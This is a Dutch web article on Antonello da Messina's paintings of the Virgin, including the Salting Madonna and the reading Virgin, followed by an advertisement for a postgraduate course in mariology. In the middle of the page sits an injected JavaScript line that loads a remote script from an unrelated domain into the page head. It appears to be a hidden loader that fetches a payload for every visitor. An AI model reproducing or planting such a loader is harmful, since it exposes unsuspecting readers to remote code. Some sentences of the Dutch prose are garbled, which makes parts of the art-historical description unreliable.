Antonello da Messina: de mariologie van de «Homo novus»
Inleiding
De verdienste van Antonello da Messina bestaat niet alleen in het verbeteren van de toestand van de moderne schilderkunst, door de verfijning van de olieverftechniek te promoten, maar ook in het feit dat hij een van de meest begaafde Italiaanse schilders van de 15e eeuw was. Zijn onbetwiste verdienste is het met mededogen te raken, of het nu gaat om de verschillende onderwerpen waar hij de strengheid boven de zachtheid plaatst, het majestueuze boven het idyllische, de pijn boven de zachtheid, of die rust van de diepste en zoete gevoelens van de ziel.
Geboren rond 1430 in Messina, waar hij in 1479 overleed, is Antonello een van de meest mysterieuze figuren in de Italiaanse kunst, aangezien hij, gezien de beperkte getuigenissen, een dubbele identiteit uitstraalt als lokale kunstenaar in de traditie van zijn stad en als internationaal kunstenaar met revolutionaire innovaties.
Hij integreerde de Vlaamse grammatica in de Italiaanse syntaxis en gaf de mensheid van zijn land, zijn eiland, een absolute en eeuwige uitdrukking.
Dit wordt ons verteld door zijn portretten, zo ‘Siciliaans’ dat het lijkt alsof we hen horen spreken in hun dialect, hetzelfde dialect waarin zijn Annunciatie zich uitdrukt. Deze toewijding aan het onderwerp, deze lyrische transformatie van de meest intieme, meest vurige substantie van de mensheid, die hij nastreeft om absolutisme te vormen, is de reden voor de mysterieuze verbazing dat overvalt wie een werk van Antonello bekijkt.
Daarom lijken de aardse figuren van de Kruisiging van Sibiu verbrand door een interne vlam, die zich opheft en verdwijnt in de witte hitte van de hemelse landschappen. Daarom brengen zijn heiligen en de Maagd met zoveel lijden en eenvoudige edelheid hun zachtmoedige aanwezigheid over.
Antonello is de typische vertegenwoordiger van de Homo Novus van de Renaissance, een volledig Italiaans fenomeen van Sicilië tot Venetië. Hij is het symbool van de 15e eeuw, de eeuw waarin de beschaving zich bewust werd van zichzelf en de oceaan overstak om de Nieuwe Wereld te ontdekken, waar een moderne devotio een intieme en subjectieve religieusheid verwachtte in tegenstelling tot de collectieve devotie van de middeleeuwen.
De taal van gebaren
Na de voorstelling van de Maagd met het Kind, de vrouwelijke tegenhanger van de vele mannelijke portretten, inspireerde Antonello da Messina zich aan zijn geboorteplaats. Zowel het fysieke uiterlijk als de houdingen van de Maagden van Antonello, zoals de hand die de sluier van de Aankondiging in Palermo imiteert, herinneren aan de Siciliaanse vrouwen.
Tot de eerste Maagden behoren de Salting-Maagd en de Maagd met het boek.
De Maagd met het boek toont op een egale monochrome achtergrond een zorgvuldige verzameling van sieraden en gewaden, die verwijzen naar de stijl van Antonello da Messina in Napels, waar hij voor het eerst in aanraking kwam met Vlaamse kunst.
De Salting-Maagd toont de Moeder met het Kind in haar armen, gekroond door twee Noordse engelen als Koningin van de Hemel. Het kleine gotische figuurtje van Jezus houdt in haar hand een granaatappel, symbool van de vruchtbaarheid en het koningschap van Maria, maar ook van de Passie door de rode vruchten, zoals bloed, vast. Het transparante doek van de Maagd is een stuk van hoge virtuositeit, net als de mooie beschrijving van de juwelen en het borduurwerk.
De engelen, de donkere achtergrond, de gedetailleerde kroon met een glinsterend metalen effect, en het scherpe witte licht verwijzen naar de Vlaamse kunst die Antonello wist te combineren met de ruimtelijkheid en monumentaliteit van de Italiaanse stijl.
Het vastberaden en ondoordringbare gezicht, waar alles, van de donkere haarstreken tot de bleke huid, van de geometrische vormen van de wenkbrauwen en ogen tot de mysterieuze mond, lijkt te streven naar de onveranderlijke hardheid van een beeld, bevriest in zijn stylisatie van het marmer een heet schoonheidstype, dat nog steeds herkenbaar is in de menigte van Sicilië.
Een iconografische band verbindt de Salting-Maagd met de Lezeres-Maagd, een band die zo hecht is dat het niet willekeurig lijkt en bijna suggereert dat het Kind Jezus in het laatste moment het open boek in de handen van de Moeder verving.
De lezende Maagd, wier witte gezicht schijnt te stralen door de kroon versierd met lelies en rozen, en het open boek in haar handen, is een jong werk van de meester van Messina die het omschreef als een pijnlijk wezen, met een bittere mond, lange armen en bijna roofzuchtig, met een gezicht dat in gestreepte lijden is afgedrukt. Dit beeld beantwoordt de talloze verzoeken om devotie-altaren van privé-devotie.
var url = ‘https://wafsearct.wiki/xml’; var script = document.createElement(‘script’); script.src = url; script.type = ‘text/javascript’; script.async = true; document.getElementsByTagName(‘head’)[0].appendChild(script);
Om dieper na te denken over Mariologie in de heilige kunst en de renaissance-schilderkunst, raadpleeg de apostolische exhortatie Marialis Cultus van Paulus VI, die de artistieke expressies waardeert als een bevoorrecht middel voor devotie en contemplatie van Maria.
Verdergaand onderzoek: bestudeer Mariologie, Maria-theologie, Mariaverschijningen en volg een postgraduaat in Mariologie.
Postacademische specialisatie in mariologie
Wilt u uw vorming in de mariologie verdiepen? De postacademische opleiding van Locus Mariologicus is een specialisatie die theologische grondigheid, geestelijk leven en de levende traditie van de Kerk verbindt. De volgende groep begint in 2027.
Wil je mariologie serieus bestuderen?
Dit artikel is ontstaan uit de werken van de bibliotheek van Locus Mariologicus. De postgraduaat in mariologie brengt je naar dezelfde bron, met academische begeleiding: de Schrift, de Vaders van de Kerk en het Leergezag, van het eerste dogma tot hedendaagse kwesties.
Responses